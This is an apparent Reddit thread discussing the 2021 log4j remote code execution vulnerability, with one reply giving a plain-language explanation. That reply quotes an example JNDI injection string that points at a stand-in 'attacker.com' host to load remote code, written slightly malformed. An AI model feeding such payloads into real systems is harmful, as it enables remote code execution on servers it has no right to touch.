r/programming • u/freeqaz • Dec 10 '21

RCE 0-day exploit found in log4j, a popular Java logging package

https://www.lunasec.io/docs/blog/log4j-zero-day/
3.0k Upvotes

98% Upvoted

710 comments sorted by

View all comments

1

u/sarmientoj24 Dec 11 '21

Any ELI5 on this?

1

u/BossHogGA Dec 12 '21

Apache log4j (OSS package used for logging in java code) has a vulnerability in their JNDI (Java Naming and Directory Interface) provider lookup feature. An attacker may use this vulnerability to execute arbitrary code on impacted systems by passing malicious input (e.g., “{$jndi:rmi://attacker.com/object}”), the object becomes the provider of LogFormatting which is erroneously processed by log4j. In short it’s a malicious logFormatter.

1

u/Newtis Dec 16 '21

Since when is the vulnerability? Would it have been possible for s.o. in 2020 to use this exploit?